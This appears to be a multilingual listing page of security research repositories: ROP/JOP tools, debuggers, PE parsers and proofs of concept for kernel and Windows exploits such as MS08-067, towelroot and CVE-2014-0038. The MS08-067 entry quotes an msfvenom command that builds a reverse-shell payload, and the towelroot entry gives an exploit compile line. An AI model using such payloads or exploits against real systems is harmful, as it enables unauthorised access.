JOP_ROCKET

JOP ROCKET HINWEIS: Mit 2.15 führen wir den Zwei-Gadget-Dispatcher ein--dies erweitert die Möglichkeiten mit Dispatcher-Gadgets erheblich. Mit 2.15 wurden am 26. Mai 2021 viele Optimierungen und zusätzliche neue Funktionen hinzugefügt. Update: 29. November 2021: Ich habe die Folien für @Hack in...

MOEW

Unsichtbare Bedrohungen, sichtbare Lösungen. Misaligned Opcode Exception Waterfall MOEW 3‑stufiger SEH-Waterfall-PoC harmlos, x86/Wow64 TL;DR: Dieser PoC demonstriert eine 3‑stufige Kaskade der strukturierten Ausnahmebehandlung SEH, die durch absichtliche fehlausgerichtete Ausführung in rohe...

pefile

pefile pefile is a multi-platform Python module to parse and work with Portable Executable PE files. Most of the information contained in the PE file headers is accessible, as well as all the sections' details and data...

cve-2018-8120-exp

cve-2018-8120-exp эксплойт для cve-2018-8120 изучено по: https://xiaodaozhi.com/exploit/156.html https://github.com/unamer/CVE-2018-8120 протестировано на win7 sp1 x86 и x64...

windows-x86-shellcode-poc

Windows x86 Buffer Overflow PoC für Anfänger Dies ist ein einfaches, in sich geschlossenes Tutorial zu Stack-basierten Buffer-Overflow-Exploits für 32-Bit-Windows. Es sind keine externen Anleitungen erforderlich – alles Nötige ist hier enthalten. Was ist dieses Repository? vulnerable.c: Ein...

CVE-2014-3153

Ubuntu x86 के लिए Towelroot यह एक्सप्लॉइट ubuntu 14.04 x86 और ubuntu 12.04.2 x86 पर सफलतापूर्वक परीक्षण किया गया है। CVE2014-3153 और towelroot सीखना। कर्नेल संस्करण 3.14 तक, rbtree का उपयोग rtwaiter संग्रहीत करने के लिए करता है plistnode नहीं, अधिक जटिल! IA के पास ARM से भिन्न threadinfo है!!...

gef

GEF pronounced ʤɛf - "Jeff" is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit...

static_asm

staticasm Eine Nur-Header-C++20-Bibliothek für die Kompilierzeitkodierung von x86/x86-64-Befehlen. Dieses Projekt ist dual lizenziert unter der Boost Software License 1.0 und der MIT-Lizenz. Sie können eine der beiden Lizenzen wählen. Zweck Erlernen der x86-Assembly-Kodierung auf praktische und...

moneta

/ \ / | / \ / \ / \ / / \ \ / Y | \ /| | / | //| | / | / / / / / Moneta v1.0 | Forrest Orr | 2020 REQUIRED -m |region|referenced|ioc -p |PID OPTIONAL -v detail|debug|surface -d --option from-base|statistics --filter unsigned-module|clr-prvx|clr-heap|metadata-modules --address --region-size -m...

CVE-2017-8464

CVE-2017-8464 उदाहरण x86 और x64 का समर्थन करता है केवल परीक्षण के लिए USB ड्राइव POC https://youtu.be/kYj1lAxl3DE...

CVE-2012-1876-win7_x86_and_win7x64

В этом репозитории нет README...

patching

Patching - Interactive Binary Patching for IDA Pro Overview Patching assembly code to change the behavior of an existing program is not uncommon in malware analysis, software reverse engineering, and broader domains of security research. This project extends the popular IDA Pro disassembler to...

patching

Patching - Patching binario interattivo per IDA Pro Panoramica Modificare il codice assembly per alterare il comportamento di un programma esistente non è raro nell'analisi malware, nel reverse engineering del software e in ambiti più ampi della ricerca sulla sicurezza. Questo progetto estende il...

trevex

Trevex – Der Explorer für transiente Ausführungs-Schwachstellen Unterstützte Plattformen Wir unterstützen die folgenden Umgebungen: Betriebssysteme / Distributionen Trevex wird unter Ubuntu 22.04 LTS und 24.04 LTS entwickelt und getestet. Während andere Distributionen funktionieren könnten, setze...

CVE-2013-2094

CVE-2013-2094 Linux 2.6.32/2.6.37 - 3.8.10 PERFEVENTS lokaler Root x86/x8664 ohne Backconnect...

v0ltpwn

V0LTpwn V0LTpwn CVE-2019-11157 é um ataque de falha controlado por software em processadores x86. É o primeiro ataque a corromper a integridade de enclaves SGX. Descrição Todos os processadores Intel recentes apresentam uma interface de software para controlar tensões do núcleo sem reiniciar o...

cve-2014-0038

Локальный root-эксплойт для CVE-2014-0038 Ошибка: Системный вызов X86X32 recvmmsg неправильно проверяет указатель тайм-аута, передаваемый из пользовательского пространства. Примитив эксплойта: Передача указателя на адрес ядра в качестве тайм-аута для recvmmsg. Если исходный байт по этому адресу...

MS08-067

MS08-067 | CVE-2008-4250 المرجع: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN توليد الشيلكود سنستخدم msfvenom لتوليد الشيلكود. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

shellcode

shellcode „Eine Schwachstelle bietet eine Assemblersprache für einen Computer, der nie zuvor programmiert wurde und der nicht mit Blick auf Programmierbarkeit entworfen wurde.“ -- Halvar Flake Eine Sammlung neuer und alter Shellcode-Beispiele. Artikel...

towelroot

towelroot Forschung zu CVE-2014-3153 und seinem berühmten Exploit towelroot auf IA x86 Diese Arbeit ist erledigt, aber ich kann den Code nicht veröffentlichen, jemand in meiner Firma hat mich herausgefordert : Kompilieren gcc -fno-stack-protector -m32 -O0 -pthread towelroot.c -o towelroot...